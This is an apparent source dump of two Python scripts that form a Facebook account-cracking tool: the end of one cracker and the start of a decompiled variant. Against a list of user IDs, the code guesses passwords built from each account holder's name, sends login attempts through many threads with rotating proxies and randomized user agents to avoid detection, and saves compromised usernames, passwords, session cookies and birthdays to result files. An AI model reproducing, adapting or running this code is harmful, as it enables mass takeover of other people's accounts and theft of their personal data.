{N}[{M}!{N}] Play airplanemode first");time.sleep(5) 189 | ww=input(f"\n {N}[{K}?{N}] Change password when {BM}TAP YES{N} [{H}Y{N}/{M}t{N}]: ") 190 | if ww in ("Y","y","ya"): 191 | ubahP.append("y") 192 | print(f" {N}[{H}{N}] Password example : {H}JIBON123{N}") 193 | pwBar=input(f" {N}[{K}?{N}] Enter new password : {H}") 194 | #print("\n") 195 | if len(pwBar) <= 5: 196 | print('\n %s[%s%s] Password minimum 6 characters'%(N,M,N)) 197 | else: 198 | pwBaru.append(pwBar) 199 | for memek in cp: 200 | kontol = memek.replace('\n', '') 201 | titid = kontol.split(' ') 202 | print(f'{N}••••••••••••••••••••••••••••••••••••••••••\n {H}LOGIN PROCESS') 203 | jalan(f' {N}[{M}?{N}] Account : {K}{kontol.replace("[RAFI-CP] ", "")}{N}') 204 | try: 205 | log_hasil(titid[0].replace("[RAFI-CP] ", ""), titid[1]) 206 | except requests.exceptions.ConnectionError: 207 | continue 208 | print("") 209 | print("") 210 | jalan(' %s[%s%s] %sChecking process is complete%s'%(N,H,N,H,N)) 211 | jalan(' %s[%s%s] Retrun SC type "%spython UserCrack.py%s"'%(N,H,N,H,N));exit() 212 | elif cek_cp in["T","t"]: 213 | jalan(f"\n {N}[{H}{N}] {N}Ok, thank you. Retrun SC type '{H}python UserCrack.py{N}'");exit() 214 | else: 215 | print(f"\n {N}[{M}!{N}] Choose Y/t");hasil(ok,cp) 216 | else: 217 | jalan('\n\n %s[%s!%s] Sorry you didnt get results'%(N,M,N));exit() 218 | 219 | 220 | 221 | def cek_apk(session,coki): 222 | w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":coki}).text 223 | sop = BeautifulSoup(w,"html.parser") 224 | x = sop.find("form",method="post") 225 | game = [i.text for i in x.find_all("h3")] 226 | if len(game)==0: 227 | print(f'\r %s[%s!%s] %sSorry there is no Active Apk%s '%(N,M,N,M,N)) 228 | else: 229 | print(f'\r ® %sYour Active Application Details :'%(H)) 230 | for i in range(len(game)): 231 | print(f"\r %s%s. %s%s"%(N,i+1,game[i].replace("Ditambahkan pada"," Ditambahkan pada"),N)) 232 | #else: 233 | #print(f'\r %s[%s!%s] Sorry, Apk check failed invalid cookie'%(N,M,N)) 234 | w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":coki}).text 235 | sop = BeautifulSoup(w,"html.parser") 236 | x = sop.find("form",method="post") 237 | game = [i.text for i in x.find_all("h3")] 238 | if len(game)==0: 239 | print(f'\r %s[%s!%s] %sSorry no Expired Apk%s \n'%(N,M,N,M,N)) 240 | else: 241 | print(f'\r ® %sYour Expired Application Details :'%(M)) 242 | for i in range(len(game)): 243 | print(f"\r %s%s. %s%s"%(N,i+1,game[i].replace("Kedaluwarsa"," Kedaluwarsa"),N)) 244 | else: 245 | print(f'\r') 246 | #print(f'\r %s[%s!%s] Sorry, Apk check failed invalid cookie\n'%(N,M,N)) 247 | def file(): 248 | logo() 249 | print('') 250 | print("\033[1;92m [01] File Clone ") 251 | key = input("\n [+] Select One : ") 252 | if key in [""]: 253 | print(" [!] please select correct option") 254 | exit() 255 | elif key in ["1", "01"]: 256 | __chigoue__().chi(id) 257 | 258 | class __chigoue__: 259 | def __init__(self): 260 | self.id = [] 261 | def chi(self, id): 262 | os.system("clear") 263 | logo() 264 | crot = input(f" {H}[{H}+{H}] Want to show related apps [{H}y{H}/{H}t{H}]: ") 265 | if crot in[""]: 266 | print(f" {N}[{M}{N}] Don't be empty");__chigoue__().chi(id) 267 | elif crot in["Y","y"]: 268 | Apk.append("y") 269 | elif crot in["T","t"]: 270 | Apk.append("t") 271 | else: 272 | #jalan(f" {N}[{M}×{N}] Sorry, wrong username");self.tampilkan_apk() 273 | print(f" {H}[{H}{H}] Select Between y/t");__chigoue__().chi(id) 274 | self.cnt = input('\033[1;92m[+] Enter File Name :\033[1;92m ') 275 | self.id = open(self.cnt).read().splitlines() 276 | os.system('clear') 277 | ___two___ = ('y') 278 | if ___two___ in ('yes', 'Yes', 'Y', 'y'): 279 | self.__pler__() 280 | else: 281 | print(' [!] Choose Correct One') 282 | self.chi(id) 283 | 284 | #print('\n %s[%s%s] Sorry, it is wrong...!'%(N,M,N));self.plerr(id) 285 | def __metode__(self, cebok, user, pasw): 286 | global ok,cp,loop 287 | animasi = random.choice(["\x1b[1;92m[RAFI]","\x1b[1;92m[RAFI]","\x1b[1;92m[RAFI]","\x1b[1;92m[RAFI]","\x1b[1;92m[RAFI]","\x1b[1;92m[RAFI]","\x1b[1;92m[RAFI]"]) 288 | sys.stdout.write(f"\r {N}{animasi} {N}{loop}{N}/{M}{len(self.id)} {N}[{H}OK:{len(ok)}{N}][{K}CP:{len(cp)}{N}] [{H}{'{:.1%}'.format(loop/float(len(self.id)))}{N}]") 289 | sys.stdout.flush() 290 | try: 291 | for pw in pasw: 292 | pw = pw.lower() 293 | session=requests.Session() 294 | nip=random.choice(prox) 295 | proxs= {'http': 'socks4://'+nip} 296 | #ua1 = random.choice(agen1) 297 | #ua2 = random.choice(agen2) 298 | ua = random.choice(ugen) 299 | ua2 = random.choice(ugen2) 300 | session.headers.update({'Host': cebok,'cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}) 301 | p = session.get('https://'+cebok+'/login/device-based/password/?uid='+user+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr') 302 | dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":user,"next":"https://"+cebok+"/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,} 303 | koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ]) 304 | koki+=' m_pixel_ratio=2.625; wd=412x756' 305 | heade={'Host': cebok,'cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://'+cebok,'content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://'+cebok+'/login/device-based/password/?uid='+user+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'} 306 | po = session.post('https://'+cebok+'/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs) 307 | if "c_user" in session.cookies.get_dict(): 308 | cooz = session.cookies.get_dict() 309 | coki = 'datr=' + cooz['datr'] + ';' + ('c_user=' + cooz['c_user']) + ';' + ('fr=' + cooz['fr']) + ';' + ('xs=' + cooz['xs']) 310 | if "t" in Apk: 311 | print('\r %sOK %s \n Username : %s\n Password : %s%s'%(H,waktu,user,pw,N)) 312 | print(f'\r {H}Cookie : {coki}\n') 313 | elif "y" in Apk: 314 | print(f'\r %sOK %s \n Username : %s\n Password : %s%s'%(H,waktu,user,pw,N)) 315 | print(f'\r {H}Cookie : {coki}') 316 | wrt = '[OK] %s %s' % (user,pw) 317 | ok.append(wrt) 318 | cek_apk(session,coki) 319 | open('results/OK-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 320 | break 321 | elif 'checkpoint' in session.cookies.get_dict(): 322 | try: 323 | tokenz = open('.token.txt').read() 324 | cp_ttl = session.get(f'https://graph.facebook.com/{user}?fields=birthday&access_token={tokenz}').json()['birthday'] 325 | month, day, year = cp_ttl.split('/') 326 | month = bulan_ttl[month] 327 | print('\r %sCP %s \n Username : %s\n Password : %s\n Tanggal Lahir : %s %s %s%s\n'%(K,waktu,user,pw,day,month,year,N)) 328 | wrt = '[CP] %s %s %s %s %s' % (user,pw,day,month,year) 329 | cp.append(wrt) 330 | open('results/CP-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 331 | break 332 | except (KeyError, IOError): 333 | month = '' 334 | day = '' 335 | year = '' 336 | except:pass 337 | print('\r %sCP %s \n Username : %s\n Password : %s%s\n'%(K,waktu,user,pw,N)) 338 | wrt = '[CP] %s %s' % (user,pw) 339 | cp.append(wrt) 340 | open('results/CP-%s-%s-%s.txt' % (ha, op, ta), 'a').write('%s\n' % wrt) 341 | break 342 | else: 343 | continue 344 | #time.sleep(31) 345 | loop+=1 346 | except requests.exceptions.ConnectionError: 347 | self.__metode__(cebok, user, pasw) 348 | 349 | 350 | def __pler__(self): 351 | os.system('clear') 352 | logo() 353 | print ('[1] Method {1}') 354 | print ('[2] Method {2}') 355 | print ('[3] Method {3}') 356 | yan = input('\n%s[%s+%s] Select Method : '%(H,H,H)) 357 | if yan == '': 358 | print('\n %s[%s%s] Sorry, it is wrong...!'%(N,M,N));self.__pler__() 359 | elif yan in ('1', '01'): 360 | xx = "free.facebook.com" 361 | self.kombinasi_pw(xx) 362 | elif yan in ('2', '02'): 363 | xx = "mbasic.facebook.com" 364 | self.kombinasi_pw(xx) 365 | elif yan in ('3', '03'): 366 | xx = "m.facebook.com" 367 | self.kombinasi_pw(xx) 368 | else: 369 | print('\n %s[%s%s] Sorry, it is wrong...!'%(N,M,N));self.__pler__() 370 | 371 | def kombinasi_pw(self,url): 372 | print('%s••••••••••••••••••••••••••••••••••••••••\n %sPASSWORD MENU%s'%(H,H,H)) 373 | print('%s[%s1%s] Name,Name123,Name12345'%(H,H,H)) 374 | print('%s[%s2%s] Name,Name123,Name1234,Name12345'%(H,H,H)) 375 | print('%s[%s3%s] Name,Name123,Name1234,Name12345,%s+Single Password Using Coma%s'%(H,H,H,H,H)) 376 | pw = input(f"\n{H}[{H}+{H}] Select Password Method : ") 377 | if pw in[""]: 378 | print(f" {N}[{M}!{N}] Don't be empty");self.kombinasi_pw(url) 379 | elif pw in["1","01"]: 380 | print('%s••••••••••••••••••••••••••••••••••••••••\n[%s+%s] OK : results/OK-%s-%s-%s.txt'%(H,H,H,ha, op, ta)) 381 | print('%s[%s+%s] CP : results/CP-%s-%s-%s.txt'%(H,H,H,ha, op, ta)) 382 | print('%s••••••••••••••••••••••••••••••••••••••••••••\n[%s!%s] Use Airplane Mode If You No Result\n[%s!%s] Every 500 Id After Use Airplane Mode\n [%s!%s] To stop %sCTRL+c%s on keyboard\n••••••••••••••••••••••••••••••••••••••••••'%(H,H,H,H,H,H,H,H,H)) 383 | with YayanGanteng(max_workers=35) as kirim: 384 | for yntkts in self.id: 385 | try: 386 | uid, name = yntkts.split('|') 387 | xz = name.split(' ') 388 | if len(xz) == 3 or len(xz) == 4 or len(xz) == 5 or len(xz) == 6: 389 | pwx = [name, xz[0]+xz[1], xz[0]+"123"] 390 | else: 391 | pwx = [name, xz[0]+xz[1], xz[0]+"123"] 392 | kirim.submit(self.__metode__,url,uid,pwx) 393 | except:pass 394 | hasil(ok,cp) 395 | elif pw in["2","02"]: 396 | print('%s••••••••••••••••••••••••••••••••••••••••\n[%s+%s] OK : results/OK-%s-%s-%s.txt'%(H,H,H,ha, op, ta)) 397 | print('%s[%s+%s] CP : results/CP-%s-%s-%s.txt'%(H,H,H,ha, op, ta)) 398 | print('%s••••••••••••••••••••••••••••••••••••••••••••\n[%s!%s] Use Airplane Mode If You Result\n[%s!%s] After 500 Id Crack Use Airplane Mode\n[%s!%s] To stop %sCTRL+c%s on keyboard\n••••••••••••••••••••••••••••••••••••••••••'%(H,H,H,H,H,H,H,H,H)) 399 | with YayanGanteng(max_workers=35) as kirim: 400 | for yntkts in self.id: 401 | try: 402 | uid, name = yntkts.split('|') 403 | xz = name.split(' ') 404 | if len(xz) == 3 or len(xz) == 4 or len(xz) == 5 or len(xz) == 6: 405 | pwx = [name, xz[0]+"123", xz[0]+"1234", xz[0]+"12345", xz[0]+xz[1]] 406 | else: 407 | pwx = [name, xz[0]+"123", xz[0]+"1234", xz[0]+"12345", xz[0]+xz[1]] 408 | kirim.submit(self.__metode__,url,uid,pwx) 409 | except:pass 410 | hasil(ok,cp) 411 | elif pw in["3","03"]: 412 | print('%s••••••••••••••••••••••••••••••••••••••••\n%sMANUAL PASSWORD MENU%s'%(H,H,H)) 413 | #print(" %s[%s!%s] Semakin banyak kombinasi password semakin lama proses crack!"%(N,M,N)) 414 | print("%s[%s!%s] Use %sComa%s For Choice Password"%(H,H,H,H,H)) 415 | print("%s[%s!%s] Example : %s786786,bangladesh,123456%s"%(H,H,H,H,H)) 416 | pw = input(f"{H}[{H}+{H}] Enter Choice Password : {H}").split(",") 417 | print('%s••••••••••••••••••••••••••••••••••••••••••\n[%s+%s] OK : results/OK-%s-%s-%s.txt'%(H,H,H,ha, op, ta)) 418 | print('%s[%s+%s] CP : results/CP-%s-%s-%s.txt'%(H,H,H,ha, op, ta)) 419 | print('%s••••••••••••••••••••••••••••••••••••••••••\n[%s!%s] If You No Result Use {Airplane Mode} 5 Second\n[%s!%s] To stop %sCTRL+c%s on keyboard\n••••••••••••••••••••••••••••••••••••••••••'%(H,H,H,H,H,H,H,H,H)) 420 | with YayanGanteng(max_workers=35) as kirim: 421 | for yntkts in self.id: 422 | try: 423 | uid, name = yntkts.split('|') 424 | xz = name.split(' ') 425 | if len(xz) == 3 or len(xz) == 4 or len(xz) == 5 or len(xz) == 6: 426 | xxx = [name, xz[0]+"123", xz[0]+"1234", xz[0]+"12345", xz[0]+xz[1]] 427 | pwx = xxx + pw 428 | else: 429 | xxx = [name, xz[0]+"123", xz[0]+"1234", xz[0]+"12345", xz[0]+xz[1]] 430 | pwx = xxx + pw 431 | kirim.submit(self.__metode__,url,uid,pwx) 432 | except:pass 433 | hasil(ok,cp) 434 | else: 435 | print(f"\n {N}[{M}!{N}] Correct input");self.kombinasi_pw(url) 436 | 437 | if __name__ == '__main__': 438 | file() 439 | 440 | -------------------------------------------------------------------------------- /ch4nd_dec.py: -------------------------------------------------------------------------------- 1 | # Source Generated with Decompyle++ 2 | # File: 2.pyc (Python 3.10) 3 | 4 | import os 5 | import time 6 | os.system('clear') 7 | print(' \x1b[1;39m━▷ \x1b[1;34mTHIS \x1b[1;37mCOMMAND \x1b[1;32mMAKE \x1b[1;36mBY \x1b[1;33m▇\x1b[1;34m▇\x1b[1;31m▇ \x1b[1;31mMR \x1b[1;35m𝘾𝙃𝘼𝙉𝘿 \x1b[1;33m▇\x1b[1;34m▇\x1b[1;31m▇ ') 8 | time.sleep(5) 9 | import os 10 | 11 | try: 12 | import requests 13 | finally: 14 | pass 15 | 16 | import requests 17 | import os 18 | import re 19 | import bs4 20 | import sys 21 | import json 22 | import time 23 | import random 24 | import datetime 25 | import subprocess 26 | from concurrent.futures import ThreadPoolExecutor as YayanGanteng 27 | from datetime import datetime 28 | from bs4 import BeautifulSoup 29 | ct = datetime.now() 30 | n = ct.month 31 | bulan = [ 32 | 'January', 33 | 'February', 34 | 'March', 35 | 'April', 36 | 'May', 37 | 'June', 38 | 'July', 39 | 'Agustus', 40 | 'September', 41 | 'October', 42 | 'November', 43 | 'December'] 44 | 45 | try: 46 | if n < 0 or n > 12: 47 | exit() 48 | nTemp = n - 1 49 | finally: 50 | pass 51 | 52 | None if ValueError else os.system('xdg-open http://Wa.me/+923315792290') 53 | os.system('clear') 54 | current = datetime.now() 55 | ta = current.year 56 | bu = current.month 57 | ha = current.day 58 | op = bulan[nTemp] 59 | waktu = '%s %s %s' % (ha, op, ta) 60 | waktu.split('/') 61 | P = '\x1b[1;97m' 62 | M = '\x1b[1;91m' 63 | H = '\x1b[1;92m' 64 | K = '\x1b[1;93m' 65 | B = '\x1b[1;94m' 66 | U = '\x1b[1;95m' 67 | O = '\x1b[1;96m' 68 | N = '\x1b[0m' 69 | A = '\x1b[1;90m' 70 | BN = '\x1b[1;107m' 71 | BBL = '\x1b[1;106m' 72 | BP = '\x1b[1;105m' 73 | BB = '\x1b[1;104m' 74 | BK = '\x1b[1;103m' 75 | BH = '\x1b[1;102m' 76 | BM = '\x1b[1;101m' 77 | BA = '\x1b[1;100m' 78 | my_color = [ 79 | P, 80 | M, 81 | H, 82 | K, 83 | B, 84 | U, 85 | O, 86 | N] 87 | warna = random.choice(my_color) 88 | data = { } 89 | data2 = { } 90 | (aman, cp, salah) = (0, 0, 0) 91 | ubahP = [] 92 | pwBaru = [] 93 | Apk = [] 94 | ok = [] 95 | cp = [] 96 | id = [] 97 | user = [] 98 | loop = 0 99 | url_lookup = 'https://lookup-id.com/' 100 | url_mb = 'https://mbasic.facebook.com' 101 | url_ip = 'https://www.httpbin.org/ip' 102 | url_graph = 'https://graph.facebook.com/{}' 103 | header_grup = { 104 | 'user-agent': 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' } 105 | bulan_ttl = { 106 | '01': 'Januari', 107 | '02': 'Februari', 108 | '03': 'Maret', 109 | '04': 'April', 110 | '05': 'Mei', 111 | '06': 'Juni', 112 | '07': 'Juli', 113 | '08': 'Agustus', 114 | '09': 'September', 115 | '10': 'Oktober', 116 | '11': 'November', 117 | '12': 'Desember' } 118 | (hhhh, iiii, jjjj, kkkk) = ('index.php?', 'next=https%3A%2F%2Fdevelopers.facebook.com', '%2Ftools%2Fdebug', '%2Faccesstoken%2F') 119 | (dddd, eeee, ffff, gggg) = ('login', 'device-based', 'validate-password', '?shbl=0') 120 | (aaaa, bbbb, cccc) = ('tools', 'debug', 'accesstoken') 121 | bahasa = 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7' 122 | uas_bawaan = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' 123 | uas_nokiac2 = 'NokiaC2-00/2.0 (03.45) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 (Java; U; kau; nokiac2-00) UCBrowser8.3.0.154/70/352/UCWEB Mobile' 124 | uas_nokiax20 = 'Mozilla/5.0 (Linux; Android 12; Nokia X20 Build/SKQ1.210821.001; wv) AppleWebKit/537.36 (KHTML, seperti Gecko) Versi/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36' 125 | uas_nokiax = 'Mozilla/5.0 (Linux; Android 4.1.2; Nokia_X Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.87.90 Mobile Safari/537.36 NokiaBrowser/1.0,gzip(gfe)' 126 | uas_samsungse = 'Mozilla/5.0 (Linux; Android 12; SAMSUNG SM-G780G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/16.0 Chrome/92.0.4515.166 Mobile Safari/537.36' 127 | uas_redmi9a = 'Mozilla/5.0 (Linux; U; Android 10; id-id; Redmi 9A Build/QP1A.190711.020) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.116 Mobile Safari/537.36' 128 | uas_nokiaxl = 'Mozilla/5.0 (Linux; Android 4.1.2; Nokia_XL Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.82 Mobile Safari/537.36 NokiaBrowser/1.2.0.12' 129 | uas_tes = 'Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4X Build/MiUI MS; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/65.0.3325.109 Mobile Safari/537.36 Instagram 38.0.0.13.95 Android (24/7.0; 480dpi; 1080x1920; Xiaomi/xiaomi; Redmi Note 4X; mido; qcom; ru_RU; 99640911)' 130 | uas_random = random.choice([ 131 | 'Mozilla/5.0 (Linux; U; Android 4.4.2; zh-CN; HUAWEI MT7-TL00 Build/HuaweiMT7-TL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.3.8.909 Mobile Safari/537.36', 132 | 'NokiaC3-00/5.0 (08.63) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+', 133 | 'Mozilla/5.0 (Linux; Android 10; Nokia 5.1 Plus Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, seperti Gecko) Versi/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36', 134 | 'Mozilla/5.0 (Linux; Android 12; SAMSUNG SM-G780G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/16.0 Chrome/92.0.4515.166 Mobile Safari/537.36']) 135 | uas_nokiac3 = 'NokiaC3-00/5.0 (08.63) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+' 136 | uas_iphone = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBDV/iPhone11,8;FBMD/iPhone;FBSN/iOS;FBSV/13.3.1;FBSS/2;FBID/phone;FBLC/en_US;FBOP/5;FBCR/]' 137 | uas_nokia5plus = 'Mozilla/5.0 (Linux; Android 10; Nokia 5.1 Plus Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, seperti Gecko) Versi/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36' 138 | uas_random2 = random.choice([ 139 | 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]', 140 | 'Mozilla/5.0 (Linux; Android 4.4.4; en-au; SAMSUNG SM-N915G Build/KTU84P) AppleWebKit/537.36 (KTHML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36', 141 | 'Mozilla/5.0 (Linux; Android 4.1.2; Nokia_X Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.87.90 Mobile Safari/537.36 NokiaBrowser/1.0,gzip(gfe)', 142 | 'Mozilla/5.0 (Linux; U; Android 4.4.2; zh-CN; HUAWEI MT7-TL00 Build/HuaweiMT7-TL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.3.8.909 Mobile Safari/537.36', 143 | 'Mozilla/5.0 (Linux; Android 10; M2006C3MG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Mobile Safari/537.36', 144 | 'Mozilla/5.0 (Linux; Android 7.0; SM-G930VC Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36']) 145 | ugen2 = [] 146 | ugen = [] 147 | 148 | try: 149 | prox = requests.get('https://raw.githubusercontent.com/muhammadchand09/ak-47/main/Chan.txt').text 150 | open('.proxy.txt', 'w').write(prox) 151 | finally: 152 | pass 153 | if Exception: 154 | e = None 155 | 156 | try: 157 | exit(e) 158 | finally: 159 | e = None 160 | del e 161 | e = None 162 | del e 163 | for xd in range(10000): 164 | a = 'Mozilla/5.0 (Symbian/3; Series60/' 165 | b = random.randrange(1, 9) 166 | c = random.randrange(1, 9) 167 | d = 'Nokia' 168 | e = random.randrange(100, 9999) 169 | f = '/110.021.0028; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/535.1 (KHTML, like Gecko) NokiaBrowser/' 170 | g = random.randrange(1, 9) 171 | h = random.randrange(1, 4) 172 | i = random.randrange(1, 4) 173 | j = random.randrange(1, 4) 174 | k = 'Mobile Safari/535.1' 175 | uaku = f'''{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}''' 176 | ugen2.append(uaku) 177 | aa = 'Mozilla/5.0 (Linux; U; Android' 178 | b = random.choice([ 179 | '6', 180 | '7', 181 | '8', 182 | '9', 183 | '10', 184 | '11', 185 | '12']) 186 | c = ' en-us; GT-' 187 | d = random.choice([ 188 | 'A', 189 | 'B', 190 | 'C', 191 | 'D', 192 | 'E', 193 | 'F', 194 | 'G', 195 | 'H', 196 | 'I', 197 | 'J', 198 | 'K', 199 | 'L', 200 | 'M', 201 | 'N', 202 | 'O', 203 | 'P', 204 | 'Q', 205 | 'R', 206 | 'S', 207 | 'T', 208 | 'U', 209 | 'V', 210 | 'W', 211 | 'X', 212 | 'Y', 213 | 'Z']) 214 | e = random.randrange(1, 999) 215 | f = random.choice([ 216 | 'A', 217 | 'B', 218 | 'C', 219 | 'D', 220 | 'E', 221 | 'F', 222 | 'G', 223 | 'H', 224 | 'I', 225 | 'J', 226 | 'K', 227 | 'L', 228 | 'M', 229 | 'N', 230 | 'O', 231 | 'P', 232 | 'Q', 233 | 'R', 234 | 'S', 235 | 'T', 236 | 'U', 237 | 'V', 238 | 'W', 239 | 'X', 240 | 'Y', 241 | 'Z']) 242 | g = 'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' 243 | h = random.randrange(73, 100) 244 | i = '0' 245 | j = random.randrange(4200, 4900) 246 | k = random.randrange(40, 150) 247 | l = 'Mobile Safari/537.36' 248 | uaku2 = f'''{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}''' 249 | ugen.append(uaku2) 250 | 251 | def jalan(z): 252 | for e in z + '\n': 253 | sys.stdout.write(e) 254 | sys.stdout.flush() 255 | time.sleep(0.03) 256 | 257 | 258 | def mentod(): 259 | print('%s══════════════════════════════════════════\n %sMETHOD MENU%s' % (N, BM, N)) 260 | print(' %s[%s1%s] Method 1 free (%sRecommended%s)' % (N, H, N, H, N)) 261 | print(' [%s2%s] Method 2 mbasic (%sRecommended%s)' % (H, N, H, N)) 262 | print(' [%s3%s] Method 3 mobile 